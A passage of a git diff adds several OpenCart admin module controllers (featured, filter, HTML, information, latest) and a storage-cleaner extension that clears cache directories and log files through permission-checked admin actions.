+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/featured_article', 'user_token=' . $this->session->data['user_token'], true)
+ );
+ } else {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/featured_article', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true)
+ );
+ }
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['action'] = $this->url->link('extension/module/featured_article', 'user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['action'] = $this->url->link('extension/module/featured_article', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true);
+ }
+
+ $data['cancel'] = $this->url->link('extension/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->get['module_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $module_info = $this->model_setting_module->getModule($this->request->get['module_id']);
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($module_info)) {
+ $data['name'] = $module_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['limit'])) {
+ $data['limit'] = $this->request->post['limit'];
+ } elseif (!empty($module_info)) {
+ $data['limit'] = $module_info['limit'];
+ } else {
+ $data['limit'] = 5;
+ }
+
+ if (isset($this->request->post['width'])) {
+ $data['width'] = $this->request->post['width'];
+ } elseif (!empty($module_info)) {
+ $data['width'] = $module_info['width'];
+ } else {
+ $data['width'] = 200;
+ }
+
+ if (isset($this->request->post['height'])) {
+ $data['height'] = $this->request->post['height'];
+ } elseif (!empty($module_info)) {
+ $data['height'] = $module_info['height'];
+ } else {
+ $data['height'] = 200;
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($module_info)) {
+ $data['status'] = $module_info['status'];
+ } else {
+ $data['status'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/featured_article', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/featured_article')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if (!$this->request->post['width']) {
+ $this->error['width'] = $this->language->get('error_width');
+ }
+
+ if (!$this->request->post['height']) {
+ $this->error['height'] = $this->language->get('error_height');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/module/featured_product.php b/public/admin/controller/extension/module/featured_product.php
new file mode 100644
index 0000000..73e16b8
--- /dev/null
+++ b/public/admin/controller/extension/module/featured_product.php
@@ -0,0 +1,155 @@
+load->language('extension/module/featured_product');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/module');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ if (!isset($this->request->get['module_id'])) {
+ $this->model_setting_module->addModule('featured_product', $this->request->post);
+ } else {
+ $this->model_setting_module->editModule($this->request->get['module_id'], $this->request->post);
+ }
+
+ $this->cache->delete('product');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['width'])) {
+ $data['error_width'] = $this->error['width'];
+ } else {
+ $data['error_width'] = '';
+ }
+
+ if (isset($this->error['height'])) {
+ $data['error_height'] = $this->error['height'];
+ } else {
+ $data['error_height'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/featured_product', 'user_token=' . $this->session->data['user_token'], true)
+ );
+ } else {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/featured_product', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true)
+ );
+ }
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['action'] = $this->url->link('extension/module/featured_product', 'user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['action'] = $this->url->link('extension/module/featured_product', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true);
+ }
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->get['module_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $module_info = $this->model_setting_module->getModule($this->request->get['module_id']);
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($module_info)) {
+ $data['name'] = $module_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['limit'])) {
+ $data['limit'] = $this->request->post['limit'];
+ } elseif (!empty($module_info)) {
+ $data['limit'] = $module_info['limit'];
+ } else {
+ $data['limit'] = 5;
+ }
+
+ if (isset($this->request->post['width'])) {
+ $data['width'] = $this->request->post['width'];
+ } elseif (!empty($module_info)) {
+ $data['width'] = $module_info['width'];
+ } else {
+ $data['width'] = 200;
+ }
+
+ if (isset($this->request->post['height'])) {
+ $data['height'] = $this->request->post['height'];
+ } elseif (!empty($module_info)) {
+ $data['height'] = $module_info['height'];
+ } else {
+ $data['height'] = 200;
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($module_info)) {
+ $data['status'] = $module_info['status'];
+ } else {
+ $data['status'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/featured_product', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/featured_product')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if (!$this->request->post['width']) {
+ $this->error['width'] = $this->language->get('error_width');
+ }
+
+ if (!$this->request->post['height']) {
+ $this->error['height'] = $this->language->get('error_height');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/module/filter.php b/public/admin/controller/extension/module/filter.php
new file mode 100644
index 0000000..0b0170a
--- /dev/null
+++ b/public/admin/controller/extension/module/filter.php
@@ -0,0 +1,67 @@
+load->language('extension/module/filter');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('module_filter', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/filter', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/module/filter', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->post['module_filter_status'])) {
+ $data['module_filter_status'] = $this->request->post['module_filter_status'];
+ } else {
+ $data['module_filter_status'] = $this->config->get('module_filter_status');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/filter', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/filter')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/module/html.php b/public/admin/controller/extension/module/html.php
new file mode 100644
index 0000000..f34cace
--- /dev/null
+++ b/public/admin/controller/extension/module/html.php
@@ -0,0 +1,118 @@
+load->language('extension/module/html');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/module');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ if (!isset($this->request->get['module_id'])) {
+ $this->model_setting_module->addModule('html', $this->request->post);
+ } else {
+ $this->model_setting_module->editModule($this->request->get['module_id'], $this->request->post);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/html', 'user_token=' . $this->session->data['user_token'], true)
+ );
+ } else {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/html', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true)
+ );
+ }
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['action'] = $this->url->link('extension/module/html', 'user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['action'] = $this->url->link('extension/module/html', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true);
+ }
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->get['module_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $module_info = $this->model_setting_module->getModule($this->request->get['module_id']);
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($module_info)) {
+ $data['name'] = $module_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['module_description'])) {
+ $data['module_description'] = $this->request->post['module_description'];
+ } elseif (!empty($module_info)) {
+ $data['module_description'] = $module_info['module_description'];
+ } else {
+ $data['module_description'] = array();
+ }
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($module_info)) {
+ $data['status'] = $module_info['status'];
+ } else {
+ $data['status'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/html', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/html')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/module/information.php b/public/admin/controller/extension/module/information.php
new file mode 100644
index 0000000..107aa3f
--- /dev/null
+++ b/public/admin/controller/extension/module/information.php
@@ -0,0 +1,67 @@
+load->language('extension/module/information');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('module_information', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/information', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/module/information', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->post['module_information_status'])) {
+ $data['module_information_status'] = $this->request->post['module_information_status'];
+ } else {
+ $data['module_information_status'] = $this->config->get('module_information_status');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/information', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/information')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/module/latest.php b/public/admin/controller/extension/module/latest.php
new file mode 100644
index 0000000..f01f34e
--- /dev/null
+++ b/public/admin/controller/extension/module/latest.php
@@ -0,0 +1,152 @@
+load->language('extension/module/latest');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/module');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ if (!isset($this->request->get['module_id'])) {
+ $this->model_setting_module->addModule('latest', $this->request->post);
+ } else {
+ $this->model_setting_module->editModule($this->request->get['module_id'], $this->request->post);
+ }
+
+ $this->cache->delete('product');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['width'])) {
+ $data['error_width'] = $this->error['width'];
+ } else {
+ $data['error_width'] = '';
+ }
+
+ if (isset($this->error['height'])) {
+ $data['error_height'] = $this->error['height'];
+ } else {
+ $data['error_height'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/latest', 'user_token=' . $this->session->data['user_token'], true)
+ );
+ } else {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/latest', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true)
+ );
+ }
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['action'] = $this->url->link('extension/module/latest', 'user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['action'] = $this->url->link('extension/module/latest', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true);
+ }
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->get['module_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $module_info = $this->model_setting_module->getModule($this->request->get['module_id']);
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($module_info)) {
+ $data['name'] = $module_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['limit'])) {
+ $data['limit'] = $this->request->post['limit'];
+ } elseif (!empty($module_info)) {
+ $data['limit'] = $module_info['limit'];
+ } else {
+ $data['limit'] = 5;
+ }
+
+ if (isset($this->request->post['width'])) {
+ $data['width'] = $this->request->post['width'];
+ } elseif (!empty($module_info)) {
+ $data['width'] = $module_info['width'];
+ } else {
+ $data['width'] = 200;
+ }
+
+ if (isset($this->request->post['height'])) {
+ $data['height'] = $this->request->post['height'];
+ } elseif (!empty($module_info)) {
+ $data['height'] = $module_info['height'];
+ } else {
+ $data['height'] = 200;
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($module_info)) {
+ $data['status'] = $module_info['status'];
+ } else {
+ $data['status'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/latest', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/latest')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if (!$this->request->post['width']) {
+ $this->error['width'] = $this->language->get('error_width');
+ }
+
+ if (!$this->request->post['height']) {
+ $this->error['height'] = $this->language->get('error_height');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/module/oc3x_storage_cleaner.php b/public/admin/controller/extension/module/oc3x_storage_cleaner.php
new file mode 100644
index 0000000..924b3c2
--- /dev/null
+++ b/public/admin/controller/extension/module/oc3x_storage_cleaner.php
@@ -0,0 +1,537 @@
+load->language('extension/module/oc3x_storage_cleaner');
+
+ $this->document->setTitle($this->language->get('page_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('oc3x_storage_cleaner', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ $data['heading_title'] = $this->language->get('heading_title');
+ $data['tab_settings'] = $this->language->get('tab_settings');
+ $data['tab_help'] = $this->language->get('tab_help');
+ $data['text_edit'] = $this->language->get('text_edit');
+ $data['text_documentation'] = $this->language->get('text_documentation');
+ $data['text_developer'] = $this->language->get('text_developer');
+ $data['text_enabled'] = $this->language->get('text_enabled');
+ $data['text_disabled'] = $this->language->get('text_disabled');
+ $data['entry_status'] = $this->language->get('entry_status');
+ $data['entry_size'] = $this->language->get('entry_size');
+ $data['button_save'] = $this->language->get('button_save');
+ $data['button_cancel'] = $this->language->get('button_cancel');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('page_title'),
+ 'href' => $this->url->link('extension/module/oc3x_storage_cleaner', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/module/oc3x_storage_cleaner', 'user_token=' . $this->session->data['user_token'], true);
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'], true);
+
+ if (isset($this->request->post['oc3x_storage_cleaner_status'])) {
+ $data['oc3x_storage_cleaner_status'] = $this->request->post['oc3x_storage_cleaner_status'];
+ } else {
+ $data['oc3x_storage_cleaner_status'] = $this->config->get('oc3x_storage_cleaner_status');
+ }
+
+ if (isset($this->request->post['oc3x_storage_cleaner_size'])) {
+ $data['oc3x_storage_cleaner_size'] = $this->request->post['oc3x_storage_cleaner_size'];
+ } else {
+ $data['oc3x_storage_cleaner_size'] = $this->config->get('oc3x_storage_cleaner_size');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/oc3x_storage_cleaner', $data));
+ }
+
+ public function clearCache() {
+ $this->load->language('extension/module/oc3x_storage_cleaner');
+
+ $json = array();
+
+ if (!$this->validateWidget() || empty($this->request->post['key'])) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $key = $this->request->post['key'];
+
+ if ($key == 'system') {
+ $dir = DIR_CACHE;
+ } elseif ($key == 'modification') {
+ // Just before files are deleted, if config settings say maintenance mode is off then turn it on
+ $this->maintenance = $this->config->get('config_maintenance');
+
+ $this->load->model('setting/setting');
+
+ $this->model_setting_setting->editSettingValue('config', 'config_maintenance', true);
+
+ $dir = DIR_MODIFICATION;
+ } elseif ($key == 'image') {
+ $dir = DIR_IMAGE . 'cache/';
+ } else {
+ $dir = false;
+ }
+
+ if ($dir) {
+ $files = array();
+
+ // Make path into an array
+ $path = array($dir . '*');
+
+ // While the path array is still populated keep looping through
+ while (count($path) != 0) {
+ $next = array_shift($path);
+
+ foreach (glob($next) as $file) {
+ // If directory add to path array
+ if (is_dir($file)) {
+ $path[] = $file . '/*';
+ }
+
+ // Add the file to the files to be deleted array
+ $files[] = $file;
+ }
+ }
+
+ // Reverse sort the file array
+ rsort($files);
+
+ // Clear all files
+ foreach ($files as $file) {
+ if ($file != $dir . 'index.html' && $file != $dir . '.htaccess') {
+ // If file just delete
+ if (is_file($file)) {
+ unlink($file);
+
+ // If directory use the remove directory function
+ } elseif (is_dir($file)) {
+ rmdir($file);
+ }
+ }
+ }
+
+ if ($key == 'modification') {
+ $this->refreshModification();
+ }
+
+ $this->load->model('extension/module/oc3x_storage_cleaner');
+
+ if ($this->config->get('oc3x_storage_cleaner_size')) {
+ $json['size'] = $this->model_extension_module_oc3x_storage_cleaner->getSize();
+ }
+
+ $json['success'] = $this->language->get('text_success_clear');
+ }
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function clearLog() {
+ $this->load->language('extension/module/oc3x_storage_cleaner');
+
+ $json = array();
+
+ if (!$this->validateWidget() || empty($this->request->post['key'])) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $key = $this->request->post['key'];
+
+ if ($key == 'error') {
+ $file = DIR_LOGS . $this->config->get('config_error_filename');
+ } elseif ($key == 'modification') {
+ $file = DIR_LOGS . 'ocmod.log';
+ } else {
+ $file = false;
+ }
+
+ if ($file) {
+ $handle = fopen($file, 'w+');
+
+ fclose($handle);
+
+ $this->load->model('extension/module/oc3x_storage_cleaner');
+
+ if ($this->config->get('oc3x_storage_cleaner_size')) {
+ $json['size'] = $this->model_extension_module_oc3x_storage_cleaner->getSize();
+ }
+
+ $json['success'] = $this->language->get('text_success_clear');
+ }
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ protected function refreshModification() {
+ $this->load->model('setting/modification');
+ $this->load->model('setting/setting');
+
+ //Log
+ $log = array();
+
+ // Begin
+ $xml = array();
+
+ // Load the default modification XML
+ $xml[] = file_get_contents(DIR_SYSTEM . 'modification.xml');
+
+ // This is purly for developers so they can run mods directly and have them run without upload sfter each change.
+ $files = glob(DIR_SYSTEM . '*.ocmod.xml');
+
+ if ($files) {
+ foreach ($files as $file) {
+ $xml[] = file_get_contents($file);
+ }
+ }
+
+ // Get the default modification file
+ $results = $this->model_setting_modification->getModifications();
+
+ foreach ($results as $result) {
+ if ($result['status']) {
+ $xml[] = $result['xml'];
+ }
+ }
+
+ $modification = array();
+
+ foreach ($xml as $xml) {
+ if (empty($xml)){
+ continue;
+ }
+
+ $dom = new DOMDocument('1.0', 'UTF-8');
+ $dom->preserveWhiteSpace = false;
+ $dom->loadXml($xml);
+
+ // Log
+ $log[] = 'MOD: ' . $dom->getElementsByTagName('name')->item(0)->textContent;
+
+ // Wipe the past modification store in the backup array
+ $recovery = array();
+
+ // Set the a recovery of the modification code in case we need to use it if an abort attribute is used.
+ if (isset($modification)) {
+ $recovery = $modification;
+ }
+
+ $files = $dom->getElementsByTagName('modification')->item(0)->getElementsByTagName('file');
+
+ foreach ($files as $file) {
+ $operations = $file->getElementsByTagName('operation');
+
+ $files = explode('|', $file->getAttribute('path'));
+
+ foreach ($files as $file) {
+ $path = '';
+
+ // Get the full path of the files that are going to be used for modification
+ if ((substr($file, 0, 7) == 'catalog')) {
+ $path = DIR_CATALOG . substr($file, 8);
+ }
+
+ if ((substr($file, 0, 5) == 'admin')) {
+ $path = DIR_APPLICATION . substr($file, 6);
+ }
+
+ if ((substr($file, 0, 6) == 'system')) {
+ $path = DIR_SYSTEM . substr($file, 7);
+ }
+
+ if ($path) {
+ $files = glob($path, GLOB_BRACE);
+
+ if ($files) {
+ foreach ($files as $file) {
+ // Get the key to be used for the modification cache filename.
+ if (substr($file, 0, strlen(DIR_CATALOG)) == DIR_CATALOG) {
+ $key = 'catalog/' . substr($file, strlen(DIR_CATALOG));
+ }
+
+ if (substr($file, 0, strlen(DIR_APPLICATION)) == DIR_APPLICATION) {
+ $key = 'admin/' . substr($file, strlen(DIR_APPLICATION));
+ }
+
+ if (substr($file, 0, strlen(DIR_SYSTEM)) == DIR_SYSTEM) {
+ $key = 'system/' . substr($file, strlen(DIR_SYSTEM));
+ }
+
+ // If file contents is not already in the modification array we need to load it.
+ if (!isset($modification[$key])) {
+ $content = file_get_contents($file);
+
+ $modification[$key] = preg_replace('~\r?\n~', "\n", $content);
+ $original[$key] = preg_replace('~\r?\n~', "\n", $content);
+
+ // Log
+ $log[] = PHP_EOL . 'FILE: ' . $key;
+ }
+
+ foreach ($operations as $operation) {
+ $error = $operation->getAttribute('error');
+
+ // Ignoreif
+ $ignoreif = $operation->getElementsByTagName('ignoreif')->item(0);
+
+ if ($ignoreif) {
+ if ($ignoreif->getAttribute('regex') != 'true') {
+ if (strpos($modification[$key], $ignoreif->textContent) !== false) {
+ continue;
+ }
+ } else {
+ if (preg_match($ignoreif->textContent, $modification[$key])) {
+ continue;
+ }
+ }
+ }
+
+ $status = false;
+
+ // Search and replace
+ if ($operation->getElementsByTagName('search')->item(0)->getAttribute('regex') != 'true') {
+ // Search
+ $search = $operation->getElementsByTagName('search')->item(0)->textContent;
+ $trim = $operation->getElementsByTagName('search')->item(0)->getAttribute('trim');
+ $index = $operation->getElementsByTagName('search')->item(0)->getAttribute('index');
+
+ // Trim line if no trim attribute is set or is set to true.
+ if (!$trim || $trim == 'true') {
+ $search = trim($search);
+ }
+
+ // Add
+ $add = $operation->getElementsByTagName('add')->item(0)->textContent;
+ $trim = $operation->getElementsByTagName('add')->item(0)->getAttribute('trim');
+ $position = $operation->getElementsByTagName('add')->item(0)->getAttribute('position');
